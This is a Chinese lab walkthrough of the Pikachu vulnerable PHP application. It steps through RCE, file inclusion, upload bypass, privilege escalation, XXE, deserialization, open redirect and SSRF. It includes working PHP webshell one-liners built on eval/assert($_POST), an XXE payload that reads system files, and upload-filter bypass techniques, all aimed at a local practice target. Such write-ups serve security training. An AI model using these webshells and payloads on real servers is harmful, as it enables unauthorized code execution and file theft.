RCE(命令执行)
exec"ping"
命令执行一般常用'|' '||' '&&'
这里用的是| 发现可以执行系统命令
exec "evel"
远程命令执行 (后台把用户的输入作为代码的一部分进行执行,造成了远程代码执行漏洞)
phpinfo();
可以上传一句话木马
fputs(fopen('shell.php','w'),'<?php assert($_POST[not]);?>');
蚁剑进行连接
File inclusion(文件包含漏洞)
File includion(local)
选一个球星,进入,发现url中包含了一个file1.php
目的是找到文件包含的文件
进行爆破
file6.php是用户名和密码
file7.php是文件包含 include()函数查看系统文件信息
File inclusion(remote)
这一关直接给include()函数给了出来
写入一个包含木马的文件,路径就在fi_remote.php文件的目录下,shell.txt
内容为<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[not])?>'); ?>
访问
生成一个shell.php文件
用蚁剑进行连接
Unsafe Filedownload(文件下载)
抓包,发现下载路径,进行修改
可以进行下载路径的修改,不过靶场在哪个盘应该就只能下载哪个盘的文件
下载成功
Unsafe Fileupload(文件上传)
client check
前端校验,修改前端代码即可
删除checkfileExt
上传成功
使用蚁剑进行连接
MIME type
基于服务端MIME校验 抓包修改Conten-Type
修改为image/png即可
一句话上传成功
getimagesize
这里校验了上传文件名的后缀(使用%00.jpg),和文件头信息(gif头部GIF89a),创建文件进行上传
上传成功,使用文件包含漏洞,执行图片马
文件包含目录下会生成一个shell.php文件
Over Permission
水平越权
根据提示登陆账号,查看个人信息,发现url存在username
修改username的值,实现水平越权
垂直越权
根据提示,登录普通账户查看信息
再登录管理员账户进行查看
发现url中存在不同试着看修改能不能从普通用户登录到管理员用户,发现不行,
发现管理员用户还可以创建用户,复制创建用户的url,退出登录
登录普通用户,将刚刚复制的url进行访问,发现可以创建用户,实现了垂直越权
目录穿越) ../../
目录遍历
访问进去发现点击超链接,会出现文件名称
用已知的文件目录来检测是否存在目录遍历,访问成功
敏感信息泄露
lcanseeyourABC
在源代码中发现测试账号
登录之后发现一个abc.php 文件
发现退出登录也能访问
PHP反序列化
需要先搞清楚php中的serialize(),unserialize()这两个函数
序列化serialize()就是把一个对象变成可以传输的字符串
反序列化unserialize()就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
$u=unserialize("o:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的结果为pikachu
payload: O:1:"S":1{s:4:"test";s:29:"<script>alert('xss')</script>";}
XXE
xml外部实体注入漏洞
攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题
也就是服务器接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入.
XXE危害,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等
XXE漏洞
简单判断一下是否存在回显数据:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe "菜鸟" > ]>
<a>&xxe;</a>
在尝试读取一些敏感目录,Windows可以读取 c:/windows/win.ini Linux可以读取/etc/passwd
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///c:windows/win.ini">]>
<a>&xxe;</a>
url重定向
不安全的URL跳转
进入页面有四个超链接,点击前两个没什么变化,点击第三个跳转到概述页面,点击第四个跳转也页面url=i
查看源代码发现最后重定向的是/pikachu/vul/urlredirect/unsafere.php
payload : 127.0.0.1/pikachu-master/vul/urlredirect/urlredirect.php?url=https://www.baidu.com
跳转到百度页面
SSRF
形成原因大都是因为服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址的数据
攻击者----服务器----目标地址
SSRF(curl)
如果一定要通过后台服务器远程去对用户指定("或者预埋在前端的请求")的地址进行资源请求,则请做好目标地址的过滤
点击超链接发现跳转到了http://localhost/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu-master/vul/ssrf/ssrf_info/info1.php
可以修改url访问自己虚拟机上的文件
SSRF(file_get_content)
进来也是一个超链接
点击进行跳转 url为http://127.0.0.1/pikachu-master/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pikachu-master/vul/ssrf/ssrf_info/info2.php
发现是file开始读的, 可以直接读取文件
可以尝试读取远程文件,(用自己的虚拟机)